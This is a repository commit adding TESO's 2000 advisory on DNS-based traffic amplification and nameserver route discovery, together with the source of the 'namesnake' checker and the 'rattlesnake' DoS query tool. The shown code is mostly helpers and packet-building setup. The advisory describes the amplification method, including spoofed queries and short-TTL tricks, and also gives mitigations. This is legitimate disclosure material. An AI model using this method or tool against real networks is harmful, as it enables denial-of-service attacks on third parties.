summaryrefslogtreecommitdiff
path: root/advisories/teso-advisory-003
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /advisories/teso-advisory-003
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'advisories/teso-advisory-003')
-rw-r--r--advisories/teso-advisory-003/advisory-003.txt258
-rw-r--r--advisories/teso-advisory-003/namesnake-0.0.2.tar.gzbin0 -> 22368 bytes
-rw-r--r--advisories/teso-advisory-003/namesnake/README20
-rw-r--r--advisories/teso-advisory-003/namesnake/doc/advisory-003.txt258
-rw-r--r--advisories/teso-advisory-003/namesnake/src/Makefile16
-rw-r--r--advisories/teso-advisory-003/namesnake/src/common.c372
-rw-r--r--advisories/teso-advisory-003/namesnake/src/common.h31
-rw-r--r--advisories/teso-advisory-003/namesnake/src/dns-build.c608
-rw-r--r--advisories/teso-advisory-003/namesnake/src/dns-build.h211
-rw-r--r--advisories/teso-advisory-003/namesnake/src/dns.c447
-rw-r--r--advisories/teso-advisory-003/namesnake/src/dns.h67
-rw-r--r--advisories/teso-advisory-003/namesnake/src/io-udp.c212
-rw-r--r--advisories/teso-advisory-003/namesnake/src/io-udp.h121
-rw-r--r--advisories/teso-advisory-003/namesnake/src/namesnake.c271
-rw-r--r--advisories/teso-advisory-003/namesnake/src/network.c362
-rw-r--r--advisories/teso-advisory-003/namesnake/src/network.h135
-rw-r--r--advisories/teso-advisory-003/namesnake/src/rattlesnake.c157
17 files changed, 3546 insertions, 0 deletions
diff --git a/advisories/teso-advisory-003/advisory-003.txt b/advisories/teso-advisory-003/advisory-003.txt
new file mode 100644
index 0000000..be6bc78
--- /dev/null
+++ b/advisories/teso-advisory-003/advisory-003.txt
@@ -0,0 +1,258 @@
1
2------
3
4TESO Security Advisory
502/11/2000
6
7Nameserver traffic amplify (DNS Smurf) and NS Route discovery (DNS Traceroute)
8
9
10Summary
11===================
12
13 Nameservers which accept and forward external DNS queries may be abused
14 as traffic amplifiers, exposing a possible threat to network integrity
15 by bandwidth saturation (DNS Smurf).
16
17 A "deaf" pseudo nameserver may be used to discover the query chain a
18 DNS query takes through various nameservers, allowing to make a trace-
19 route like route discovery (DNS Traceroute).
20
21
22Systems Affected
23===================
24
25 All type of nameservers which accept external queries. Especially those,
26 which forward the queries to other nameservers or those which have
27 excessive retry attempt values. The common value is to try three times,
28 but we have observed misconfigured servers which tried more then 20 times
29 sending out a query packet.
30
31 Note that this attack is completely different from the DNS Smurf attack
32 discovered by s0ftpr0ject [4], however, it exploits weaknesses in default
33 BIND [6] configurations too.
34
35
36Tests
37===================
38
39 The following data is an except from initial tests we have conducted
40 against some vulnerable nameserver.
41
42 08:07:24.943598 ns2.domain > victim.domain: 15121 (35)
43 08:07:32.747253 ns3.domain > victim.domain: 8536 (35)
44 08:07:32.832604 ns2.domain > victim.domain: 15121 (35)
45 08:07:39.819289 ns3.domain > victim.domain: 8536 (35)
46 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35)
47 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF)
48 08:07:48.928981 ns2.domain > victim.domain: 15121 (35)
49 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35)
50 08:07:56.107063 ns3.domain > victim.domain: 8536 (35)
51 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF)
52 08:08:04.938187 ns6.domain > victim.domain: 26706 (35)
53 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35)
54 08:08:13.826464 ns6.domain > victim.domain: 26706 (35)
55 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35)
56 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF)
57 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35)
58 08:08:30.873233 ns6.domain > victim.domain: 26706 (35)
59 08:08:32.658479 ns1.domain > querier.1025: 298 ServFail 0/0/0 (35)
60 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35)
61
62 The initial DNS query packet had a size of 35 bytes, although packets
63 up to a size of 500 bytes are possible.
64 As you can see there are five nameservers who indirectly got the query,
65 which was send by "querier" (query packet not displayed). The first name-
66 server that got queried was "ns1".
67
68 The query is forwarded to five other nameservers, so all together there are
69 six nameservers which try to resolve the query domain. If the query domain
70 is a normal existent domain name, the authoritative nameserver will answer
71 promptly and the answer is returned to the original query host.
72
73 This is the normal case. However, if there is an authoritative nameserver
74 which does not respond to the queries send to it, all nameservers will
75 retry to resolve the domain by sending out the query packet, assuming the
76 UDP packet they have previously sent got lost.
77 Because all six nameservers do this, this results in a traffic amplify
78 with factor 18 (18 packets send for each attacker packet).
79
80 Through testing a few hundred nameservers on this vulnerability we quickly
81 found nameservers which will amplify with ratios well beyond 30, sometimes
82 even exceeding 50.
83
84
85Impact
86===================
87
88 By abusing multiple nameserver-chains as traffic amplifiers an attacker can
89 easily saturate any network link. The traffic to the victim IP is caused by
90 the query packets which are sent by each nameserver in the nameserver-chain
91 to the fake authoritative nameserver in the victim network.
92
93 For the last few years denial of service (DoS) attacks that are based on
94 bandwidth saturation have always been a problem. A few years ago, when the
95 Smurf ICMP denial of service attack got publicly known nearly everyone was
96 able to saturate any link by abusing other networks as a traffic amplifier.
97 Since then numerous amplify attacks have been discovered, such as [3] and
98 [4], the original posting of the Smurf attack is [5].
99
100 Any method that allows an attacker to amplify his traffic can be abused for
101 a denial of service attack.
102
103
104Explanation
105===================
106
107 When a nameserver receives a query, most nameservers usually just start
108 forwarding the query to some other nameserver. There can be quite a long
109 path of forwarding queries. However if the query is not resolvable
110 because there is no nameserver listening on the remote host, every
111 forwarding nameserver will start to resolve it on their own, by querying
112 the authoritative nameserver themselves. In the default configuration each
113 nameserver will send the query three times, after 0, 12 and 24 seconds,
114 ymmv.
115
116 This can be used to discover the path of nameservers. To do this an
117 attacker would query the first nameserver for a domain he can see the
118 packets on, at best the domain points to the query host itself. Then he
119 would record all nameservers that send out a packet to himself. After
120 having done this he would try with another nameserver of the ones he got
121 queries from. In the best case he will receive queries from all hosts
122 but one missing. The missing one is the first host in the route. After
123 having reduced the list by one he will start over with the reduced list
124 until there is only one nameserver remaining, which is the last in the
125 querying chain.
126
127 Through seeking especially long paths, where a lot of nameservers are
128 queried, this can be abused as a traffic amplify bandwidth attack, as shown
129 above.
130
131 Since the important entries such as the NS entry is in the cache of each
132 nameserver after the first query, the attack is very fast pacing after the
133 first query, since no additional packets are sent to the attacker and the
134 attacker may spoof the UDP query packets. If the attacker is clever he
135 would use a very short lifetime for his NS entry, while using a long
136 lifetime for the victim subdomain. After the first query succeeded he will
137 just shut his nameserver down and send out spoofed query packets at a very
138 fast rate.
139
140
141Solution
142===================
143
144 "Defense is the best Offense" - said by a wise person. By protecting your
145 own nameservers against being abused by attackers you secure other sites at
146 the same time. If you run BIND [6] nameservers in your network please care
147 to read basic BIND configuration tutorials and especially documents on how
148 to secure your BIND configuration [7].
149
150 Also notice that you may fall victim to the same attack, if only one
151 nameserver in your network is vulnerable -- That means if only one
152 server is accepting queries for external domains from strangers, this
153 nameserver inside your network will send out trusted queries to other
154 nameservers in your network, and hence can be abused too.
155
156 By taking more generic measures against being the originator network of
157 denial of service attacks, such as improving your overall network security,
158 you contribute to the security of all other networks in the Internet too.
159 I urge you to subscribe to a security related mailing list, such as
160 Bugtraq [8] or, if you cannot afford the time necessary to read such a
161 list, at least subscribe to the CERT list [9].
162
163 In general there is no foolproof method to avoid getting a victim of a DNS
164 Smurf. But what can you do if you get attacked ?
165
166 To think of the correct response we have to think of why this attack works.
167 It works because other nameservers try to query a non-existent nameserver
168 in your network and don't get any response, hence retrying again. To just
169 filter DNS traffic to this IP is only of little use as a short-time
170 measure. Instead setting up a bogus DNS server on the victim IP address,
171 which replies with bogus answers to any query it receives will reduce the
172 impact of the attack.
173
174 However the real cause for the attack is still the number of misconfigured
175 DNS servers out there, which accept queries for external domains from
176 strangers. Another reason is the unreliable transport protocol which makes
177 it impossible for the nameserver to notice the unreachability of the remote
178 victim nameserver.
179
180
181Acknowledgments
182================
183
184 The bug discovery and the demonstration programs is due to TESO [1].
185
186 This advisory has been written by scut and hendy.
187 The tests and further analysis were done by scut.
188 The demonstration exploit has been written by scut.
189
190
191Contact Information
192===================
193
194 The TESO crew can be reached by mailing to teso@shellcode.org.
195 Our web page is at http://teso.scene.at/
196
197
198References
199===================
200
201 [1] TESO
202 http://teso.scene.at/
203
204 [2] Packetfactory
205 http://www.packetfactory.net/
206
207 [3] The "MAC DoS Attack", a x37 traffic amplify attack
208 posted on Bugtraq Mailing List 12/28/1999, discovered by John Copeland
209
210 [4] DNS Smurf (through query/answer ratio)
211 s0ftpr0ject Security Advisory SPJ-002-000, July 19, 1999
212 posted on Bugtraq Mailing List 07/30/1999, discovered by scacco
213
214 [5] ICMP ECHO Requests to Broadcast addresses (ICMP Smurf attack)
215 posted on Bugtraq Mailing List 07/19/1997, posting by Edward Henigin
216
217 [6] BIND nameserver software - Internet Software Consortium
218 http://www.isc.org/
219
220 [7] Securing Domain Name Service
221 Article on securityportal.com security related website
222 http://securityportal.com/cover/coverstory19990621.html
223
224 [8] Bugtraq Mailing List
225 http://www.securityfocus.com/about/feedback/subscribe-bugtraq.html
226
227 [9] CERT Mailing List
228 http://www.cert.org/contact_cert/certmaillist.html
229
230
231
232Disclaimer
233===================
234
235 This advisory does not claim to be complete or to be usable for any
236 purpose. Especially information on the vulnerable systems may be
237 inaccurate or wrong. The supplied exploit is not to be used for malicious
238 purposes, but for educational purposes only.
239
240 This advisory is free for open distribution in unmodified form.
241 Articles that are based on information from this advisory should include
242 link [1].
243
244
245Exploit
246===================
247
248 We've created a working demonstration program to exploit the vulnerability.
249 The program needs Libnet, a low level network library installed, which can
250 be obtained through [2].
251
252 The exploit is available from
253
254 http://teso.scene.at/
255
256------
257
258
diff --git a/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz b/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz
new file mode 100644
index 0000000..637bedc
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz
Binary files differ
diff --git a/advisories/teso-advisory-003/namesnake/README b/advisories/teso-advisory-003/namesnake/README
new file mode 100644
index 0000000..448e2a3
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/README
@@ -0,0 +1,20 @@
1rattlesnake and namesnake
2by team teso
3
4read the advisory in doc/ before asking stupid questions.
5
6namesnake is a tool to check whether a nameserver can be abused as a traffic
7amplifier. it is not fast, in fact it is very slow. i could've done it very
8fast, but since you are only going to check your local servers anyway, you
9shouldn't care, do you ?
10
11rattlesnake is a denial of service attack tool used to produce queries.
12usage should be obvious, if not reread the advisory.
13
14btw, for the compilation, you have to have libnet 1.x installed. the
15compilation errors (random/srandom) are caused by invalid libnet headers,
16i hope they will be fixed soon, so don't bug me about it.
17
18regards,
19scut / teso
20
diff --git a/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt b/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt
new file mode 100644
index 0000000..be6bc78
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt
@@ -0,0 +1,258 @@
1
2------
3
4TESO Security Advisory
502/11/2000
6
7Nameserver traffic amplify (DNS Smurf) and NS Route discovery (DNS Traceroute)
8
9
10Summary
11===================
12
13 Nameservers which accept and forward external DNS queries may be abused
14 as traffic amplifiers, exposing a possible threat to network integrity
15 by bandwidth saturation (DNS Smurf).
16
17 A "deaf" pseudo nameserver may be used to discover the query chain a
18 DNS query takes through various nameservers, allowing to make a trace-
19 route like route discovery (DNS Traceroute).
20
21
22Systems Affected
23===================
24
25 All type of nameservers which accept external queries. Especially those,
26 which forward the queries to other nameservers or those which have
27 excessive retry attempt values. The common value is to try three times,
28 but we have observed misconfigured servers which tried more then 20 times
29 sending out a query packet.
30
31 Note that this attack is completely different from the DNS Smurf attack
32 discovered by s0ftpr0ject [4], however, it exploits weaknesses in default
33 BIND [6] configurations too.
34
35
36Tests
37===================
38
39 The following data is an except from initial tests we have conducted
40 against some vulnerable nameserver.
41
42 08:07:24.943598 ns2.domain > victim.domain: 15121 (35)
43 08:07:32.747253 ns3.domain > victim.domain: 8536 (35)
44 08:07:32.832604 ns2.domain > victim.domain: 15121 (35)
45 08:07:39.819289 ns3.domain > victim.domain: 8536 (35)
46 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35)
47 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF)
48 08:07:48.928981 ns2.domain > victim.domain: 15121 (35)
49 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35)
50 08:07:56.107063 ns3.domain > victim.domain: 8536 (35)
51 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF)
52 08:08:04.938187 ns6.domain > victim.domain: 26706 (35)
53 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35)
54 08:08:13.826464 ns6.domain > victim.domain: 26706 (35)
55 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35)
56 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF)
57 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35)
58 08:08:30.873233 ns6.domain > victim.domain: 26706 (35)
59 08:08:32.658479 ns1.domain > querier.1025: 298 ServFail 0/0/0 (35)
60 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35)
61
62 The initial DNS query packet had a size of 35 bytes, although packets
63 up to a size of 500 bytes are possible.
64 As you can see there are five nameservers who indirectly got the query,
65 which was send by "querier" (query packet not displayed). The first name-
66 server that got queried was "ns1".
67
68 The query is forwarded to five other nameservers, so all together there are
69 six nameservers which try to resolve the query domain. If the query domain
70 is a normal existent domain name, the authoritative nameserver will answer
71 promptly and the answer is returned to the original query host.
72
73 This is the normal case. However, if there is an authoritative nameserver
74 which does not respond to the queries send to it, all nameservers will
75 retry to resolve the domain by sending out the query packet, assuming the
76 UDP packet they have previously sent got lost.
77 Because all six nameservers do this, this results in a traffic amplify
78 with factor 18 (18 packets send for each attacker packet).
79
80 Through testing a few hundred nameservers on this vulnerability we quickly
81 found nameservers which will amplify with ratios well beyond 30, sometimes
82 even exceeding 50.
83
84
85Impact
86===================
87
88 By abusing multiple nameserver-chains as traffic amplifiers an attacker can
89 easily saturate any network link. The traffic to the victim IP is caused by
90 the query packets which are sent by each nameserver in the nameserver-chain
91 to the fake authoritative nameserver in the victim network.
92
93 For the last few years denial of service (DoS) attacks that are based on
94 bandwidth saturation have always been a problem. A few years ago, when the
95 Smurf ICMP denial of service attack got publicly known nearly everyone was
96 able to saturate any link by abusing other networks as a traffic amplifier.
97 Since then numerous amplify attacks have been discovered, such as [3] and
98 [4], the original posting of the Smurf attack is [5].
99
100 Any method that allows an attacker to amplify his traffic can be abused for
101 a denial of service attack.
102
103
104Explanation
105===================
106
107 When a nameserver receives a query, most nameservers usually just start
108 forwarding the query to some other nameserver. There can be quite a long
109 path of forwarding queries. However if the query is not resolvable
110 because there is no nameserver listening on the remote host, every
111 forwarding nameserver will start to resolve it on their own, by querying
112 the authoritative nameserver themselves. In the default configuration each
113 nameserver will send the query three times, after 0, 12 and 24 seconds,
114 ymmv.
115
116 This can be used to discover the path of nameservers. To do this an
117 attacker would query the first nameserver for a domain he can see the
118 packets on, at best the domain points to the query host itself. Then he
119 would record all nameservers that send out a packet to himself. After
120 having done this he would try with another nameserver of the ones he got
121 queries from. In the best case he will receive queries from all hosts
122 but one missing. The missing one is the first host in the route. After
123 having reduced the list by one he will start over with the reduced list
124 until there is only one nameserver remaining, which is the last in the
125 querying chain.
126
127 Through seeking especially long paths, where a lot of nameservers are
128 queried, this can be abused as a traffic amplify bandwidth attack, as shown
129 above.
130
131 Since the important entries such as the NS entry is in the cache of each
132 nameserver after the first query, the attack is very fast pacing after the
133 first query, since no additional packets are sent to the attacker and the
134 attacker may spoof the UDP query packets. If the attacker is clever he
135 would use a very short lifetime for his NS entry, while using a long
136 lifetime for the victim subdomain. After the first query succeeded he will
137 just shut his nameserver down and send out spoofed query packets at a very
138 fast rate.
139
140
141Solution
142===================
143
144 "Defense is the best Offense" - said by a wise person. By protecting your
145 own nameservers against being abused by attackers you secure other sites at
146 the same time. If you run BIND [6] nameservers in your network please care
147 to read basic BIND configuration tutorials and especially documents on how
148 to secure your BIND configuration [7].
149
150 Also notice that you may fall victim to the same attack, if only one
151 nameserver in your network is vulnerable -- That means if only one
152 server is accepting queries for external domains from strangers, this
153 nameserver inside your network will send out trusted queries to other
154 nameservers in your network, and hence can be abused too.
155
156 By taking more generic measures against being the originator network of
157 denial of service attacks, such as improving your overall network security,
158 you contribute to the security of all other networks in the Internet too.
159 I urge you to subscribe to a security related mailing list, such as
160 Bugtraq [8] or, if you cannot afford the time necessary to read such a
161 list, at least subscribe to the CERT list [9].
162
163 In general there is no foolproof method to avoid getting a victim of a DNS
164 Smurf. But what can you do if you get attacked ?
165
166 To think of the correct response we have to think of why this attack works.
167 It works because other nameservers try to query a non-existent nameserver
168 in your network and don't get any response, hence retrying again. To just
169 filter DNS traffic to this IP is only of little use as a short-time
170 measure. Instead setting up a bogus DNS server on the victim IP address,
171 which replies with bogus answers to any query it receives will reduce the
172 impact of the attack.
173
174 However the real cause for the attack is still the number of misconfigured
175 DNS servers out there, which accept queries for external domains from
176 strangers. Another reason is the unreliable transport protocol which makes
177 it impossible for the nameserver to notice the unreachability of the remote
178 victim nameserver.
179
180
181Acknowledgments
182================
183
184 The bug discovery and the demonstration programs is due to TESO [1].
185
186 This advisory has been written by scut and hendy.
187 The tests and further analysis were done by scut.
188 The demonstration exploit has been written by scut.
189
190
191Contact Information
192===================
193
194 The TESO crew can be reached by mailing to teso@shellcode.org.
195 Our web page is at http://teso.scene.at/
196
197
198References
199===================
200
201 [1] TESO
202 http://teso.scene.at/
203
204 [2] Packetfactory
205 http://www.packetfactory.net/
206
207 [3] The "MAC DoS Attack", a x37 traffic amplify attack
208 posted on Bugtraq Mailing List 12/28/1999, discovered by John Copeland
209
210 [4] DNS Smurf (through query/answer ratio)
211 s0ftpr0ject Security Advisory SPJ-002-000, July 19, 1999
212 posted on Bugtraq Mailing List 07/30/1999, discovered by scacco
213
214 [5] ICMP ECHO Requests to Broadcast addresses (ICMP Smurf attack)
215 posted on Bugtraq Mailing List 07/19/1997, posting by Edward Henigin
216
217 [6] BIND nameserver software - Internet Software Consortium
218 http://www.isc.org/
219
220 [7] Securing Domain Name Service
221 Article on securityportal.com security related website
222 http://securityportal.com/cover/coverstory19990621.html
223
224 [8] Bugtraq Mailing List
225 http://www.securityfocus.com/about/feedback/subscribe-bugtraq.html
226
227 [9] CERT Mailing List
228 http://www.cert.org/contact_cert/certmaillist.html
229
230
231
232Disclaimer
233===================
234
235 This advisory does not claim to be complete or to be usable for any
236 purpose. Especially information on the vulnerable systems may be
237 inaccurate or wrong. The supplied exploit is not to be used for malicious
238 purposes, but for educational purposes only.
239
240 This advisory is free for open distribution in unmodified form.
241 Articles that are based on information from this advisory should include
242 link [1].
243
244
245Exploit
246===================
247
248 We've created a working demonstration program to exploit the vulnerability.
249 The program needs Libnet, a low level network library installed, which can
250 be obtained through [2].
251
252 The exploit is available from
253
254 http://teso.scene.at/
255
256------
257
258
diff --git a/advisories/teso-advisory-003/namesnake/src/Makefile b/advisories/teso-advisory-003/namesnake/src/Makefile
new file mode 100644
index 0000000..5981e52
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/Makefile
@@ -0,0 +1,16 @@
1CFLAGS=-Wall -ggdb `libnet-config --defines`
2LIBS=-lnet
3CC=gcc
4OBJS=common.o dns-build.o dns.o io-udp.o network.o
5
6all: namesnake rattlesnake
7
8clean:
9 rm -f *.o namesnake rattlesnake
10
11rattlesnake: rattlesnake.c $(OBJS)
12 $(CC) $(CFLAGS) -static -o rattlesnake rattlesnake.c $(OBJS) $(LIBS)
13
14namesnake: namesnake.c $(OBJS)
15 $(CC) $(CFLAGS) -o namesnake namesnake.c $(OBJS) $(LIBS)
16
diff --git a/advisories/teso-advisory-003/namesnake/src/common.c b/advisories/teso-advisory-003/namesnake/src/common.c
new file mode 100644
index 0000000..36391ad
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/common.c
@@ -0,0 +1,372 @@
1
2#include <sys/types.h>
3#include <sys/wait.h>
4#include <sys/time.h>
5#include <netinet/in.h>
6#include <unistd.h>
7#include <time.h>
8#include <stdarg.h>
9#include <stdio.h>
10#include <string.h>
11#include <stdlib.h>
12#include <unistd.h>
13#include "common.h"
14
15
16#ifdef DEBUG
17void
18debugp (char *filename, const char *str, ...)
19{
20 FILE *fp; /* temporary file pointer */
21 va_list vl;
22
23 fp = fopen (filename, "a");
24 if (fp == NULL)
25 return;
26
27 va_start (vl, str);
28 vfprintf (fp, str, vl);
29 va_end (vl);
30
31 fclose (fp);
32
33 return;
34}
35
36void
37hexdump (char *filename, unsigned char *data, unsigned int amount)
38{
39 FILE *fp; /* temporary file pointer */
40 unsigned int dp, p; /* data pointer */
41 const char trans[] = "................................ !\"#$%&'()*+,-./0123456789"
42 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
43 "nopqrstuvwxyz{|}~...................................."
44 "....................................................."
45 "........................................";
46
47 fp = fopen (filename, "a");
48 if (fp == NULL)
49 return;
50
51 fprintf (fp, "\n-packet-\n");
52
53 for (dp = 1; dp <= amount; dp++) {
54 fprintf (fp, "%02x ", data[dp-1]);
55 if ((dp % 8) == 0)
56 fprintf (fp, " ");
57 if ((dp % 16) == 0) {
58 fprintf (fp, "| ");
59 p = dp;
60 for (dp -= 16; dp < p; dp++)
61 fprintf (fp, "%c", trans[data[dp]]);
62 fflush (fp);
63 fprintf (fp, "\n");
64 }
65 fflush (fp);
66 }
67 if ((amount % 16) != 0) {
68 p = dp = 16 - (amount % 16);
69 for (dp = p; dp > 0; dp--) {
70 fprintf (fp, " ");
71 if (((dp % 8) == 0) && (p != 8))
72 fprintf (fp, " ");
73 fflush (fp);
74 }
75 fprintf (fp, " | ");
76 for (dp = (amount - (16 - p)); dp < amount; dp++)
77 fprintf (fp, "%c", trans[data[dp]]);
78 fflush (fp);
79 }
80 fprintf (fp, "\n");
81
82 fclose (fp);
83 return;
84}
85
86#endif
87
88
89char **
90file_read (char *filename)
91{
92 char buf[2048];
93 FILE *fp;
94 char **line_array = NULL;
95 int ac = 0;
96 char *c_p;
97
98 fp = fopen (filename, "r");
99 if (fp == NULL)
100 return (NULL);
101
102 memset (buf, '\0', sizeof (buf));
103 while (fgets (buf, sizeof (buf) - 1, fp) != NULL) {
104 line_array = xrealloc (line_array, (++ac + 1) * (sizeof (char *)));
105 line_array[ac] = NULL; /* eoa ptr ss! */
106 for (c_p = (buf + sizeof (buf) - 1) ; c_p != buf ; c_p--) {
107 if (*c_p == '\n')
108 *c_p = '\0';
109 }
110 line_array[ac - 1] = xstrdup (buf); /* hook em up */
111 memset (buf, '\0', sizeof (buf));
112 }
113 fclose (fp);
114
115 return (line_array);
116}
117
118
119/* z_fork
120 *
121 * fork and detach forked client completely to avoid zombies.
122 * taken from richard stevens excellent system programming book :) thanks,
123 * whereever you are now.
124 *
125 * caveat: the pid of the child has already died, it can just be used to
126 * differentiate between parent and not parent, the pid of the
127 * child is inaccessibly.
128 *
129 * return pid of child for old process
130 * return 0 for child
131 */
132
133pid_t
134z_fork (void)
135{
136 pid_t pid;
137
138 pid = fork ();
139 if (pid < 0) {
140 return (pid);
141 } else if (pid == 0) {
142 /* let the child fork again
143 */
144
145 pid = fork ();
146 if (pid < 0) {
147 return (pid);
148 } else if (pid > 0) {
149 /* let the child and parent of the second child
150 * exit
151 */
152 exit (EXIT_SUCCESS);
153 }
154
155 return (0);
156 }
157
158 waitpid (pid, NULL, 0);
159
160 return (pid);
161}
162
163
164/* m_random
165 *
166 * return a random number between `lowmark' and `highmark'
167 */
168
169int
170m_random (int lowmark, int highmark)
171{
172 long int rnd;
173
174 /* flip/swap them in case user messed up
175 */
176 if (lowmark > highmark) {
177 lowmark ^= highmark;
178 highmark ^= lowmark;
179 lowmark ^= highmark;
180 }
181 rnd = lowmark;
182
183 rnd += (random () % (highmark - lowmark));
184
185 /* this is lame, i know :)
186 */
187 return (rnd);
188}
189
190
191/* set_tv
192 *
193 * initializes a struct timeval pointed to by `tv' to a second value of
194 * `seconds'
195 *
196 * return in any case
197 */
198
199void
200set_tv (struct timeval *tv, int seconds)
201{
202 tv->tv_sec = seconds;
203 tv->tv_usec = 0;
204
205 return;
206}
207
208
209/* xstrupper
210 *
211 * uppercase a string `str'
212 *
213 * return in any case
214 */
215
216void
217xstrupper (char *str)
218{
219 for (; *str != '\0'; ++str) {
220 if (*str >= 'a' && *str <= 'z') {
221 *str -= ('a' - 'A');
222 }
223 }
224
225 return;
226}
227
228
229/* concating snprintf
230 *
231 * determines the length of the string pointed to by `os', appending formatted
232 * string to a maximium length of `len'.
233 *
234 */
235
236void
237scnprintf (char *os, size_t len, const char *str, ...)
238{
239 va_list vl;
240 char *ostmp = os + strlen (os);
241
242 va_start (vl, str);
243 vsnprintf (ostmp, len - strlen (os) - 1, str, vl);
244 va_end (vl);
245
246 return;
247}
248
249unsigned long int
250tdiff (struct timeval *old, struct timeval *new)
251{
252 unsigned long int time1;
253
254 if (new->tv_sec >= old->tv_sec) {
255 time1 = new->tv_sec - old->tv_sec;
256 if ((new->tv_usec - 500000) >= old->tv_usec)
257 time1++;
258 } else {
259 time1 = old->tv_sec - new->tv_sec;
260 if ((old->tv_usec - 500000) >= new->tv_usec)
261 time1++;
262 }
263
264 return (time1);
265}
266
267
268/* ipv4_print
269 *
270 * padding = 0 -> don't padd
271 * padding = 1 -> padd with zeros
272 * padding = 2 -> padd with spaces
273 */
274
275char *
276ipv4_print (char *dest, struct in_addr in, int padding)
277{
278 unsigned char *ipp;
279
280 ipp = (unsigned char *) &in.s_addr;
281
282 strcpy (dest, "");
283
284 switch (padding) {
285 case (0):
286 sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
287 break;
288 case (1):
289 sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]);
290 break;
291 case (2):
292 sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]);
293 break;
294 default:
295 break;
296 }
297
298 return (dest);
299}
300
301
302void *
303xrealloc (void *m_ptr, size_t newsize)
304{
305 void *n_ptr;
306
307 n_ptr = realloc (m_ptr, newsize);
308 if (n_ptr == NULL) {
309 fprintf (stderr, "realloc failed\n");
310 exit (EXIT_FAILURE);
311 }
312
313 return (n_ptr);
314}
315
316
317char *
318xstrdup (char *str)
319{
320 char *b;
321
322 b = strdup (str);
323 if (b == NULL) {
324 fprintf (stderr, "strdup failed\n");
325 exit (EXIT_FAILURE);
326 }
327
328 return (b);
329}
330
331
332void *
333xcalloc (int factor, size_t size)
334{
335 void *bla;
336
337 bla = calloc (factor, size);
338
339 if (bla == NULL) {
340 fprintf (stderr, "no memory left\n");
341 exit (EXIT_FAILURE);
342 }
343
344 return (bla);
345}
346
347/* source by dk
348 */
349
350char *
351allocncat (char **to, char *from, size_t len)
352{
353 int rlen = strlen (from);
354 int null = *to == NULL;
355
356 len = rlen < len ? rlen : len;
357 *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1);
358 if (null)
359 **to = '\0';
360
361 if (*to == NULL)
362 perror ("no memory: ");
363
364 return (strncat (*to, from, len));
365}
366
367char *
368alloccat (char **to, char *from)
369{
370 return (allocncat (to, from, strlen (from)));
371}
372
diff --git a/advisories/teso-advisory-003/namesnake/src/common.h b/advisories/teso-advisory-003/namesnake/src/common.h
new file mode 100644
index 0000000..0f41ca4
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/common.h
@@ -0,0 +1,31 @@
1
2#ifndef Z_COMMON_H
3#define Z_COMMON_H
4
5
6#include <sys/types.h>
7#include <sys/time.h>
8#include <netinet/in.h>
9#include <unistd.h>
10
11
12#ifdef DEBUG
13void debugp (char *filename, const char *str, ...);
14void hexdump (char *filename, unsigned char *data, unsigned int amount);
15#endif
16char ** file_read (char *filename);
17pid_t z_fork (void);
18int m_random (int lowmark, int highmark);
19void set_tv (struct timeval *tv, int seconds);
20void xstrupper (char *str);
21void scnprintf (char *os, size_t len, const char *str, ...);
22unsigned long int tdiff (struct timeval *old, struct timeval *new);
23char *ipv4_print (char *dest, struct in_addr in, int padding);
24void *xrealloc (void *m_ptr, size_t newsize);
25char *xstrdup (char *str);
26void *xcalloc (int factor, size_t size);
27char *allocncat (char **to, char *from, size_t len);
28char *alloccat (char **to, char *from);
29
30#endif
31
diff --git a/advisories/teso-advisory-003/namesnake/src/dns-build.c b/advisories/teso-advisory-003/namesnake/src/dns-build.c
new file mode 100644
index 0000000..933db43
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/dns-build.c
@@ -0,0 +1,608 @@
1/* namesnake
2 *
3 * dns packet construction routines
4 * if you need some, just borrow here and drop me a line of credit :)
5 *
6 * by scut / teso
7 */
8
9#include <libnet.h> /* route's owning library =) */
10#include <arpa/nameser.h>
11#include <netinet/in.h>
12#include <stdlib.h>
13#include <string.h>
14#include "common.h"
15#include "dns.h"
16#include "dns-build.h"
17#include "io-udp.h"
18#include "network.h"
19
20
21/* dns_build_random
22 *
23 * prequel the domain name `domain' with a random sequence of characters
24 * with a random length if len is zero, or a fixed length if len is != 0
25 *
26 * return the allocated new string
27 */
28
29char *
30dns_build_random (char *domain, size_t len)
31{
32 int dlen, cc;
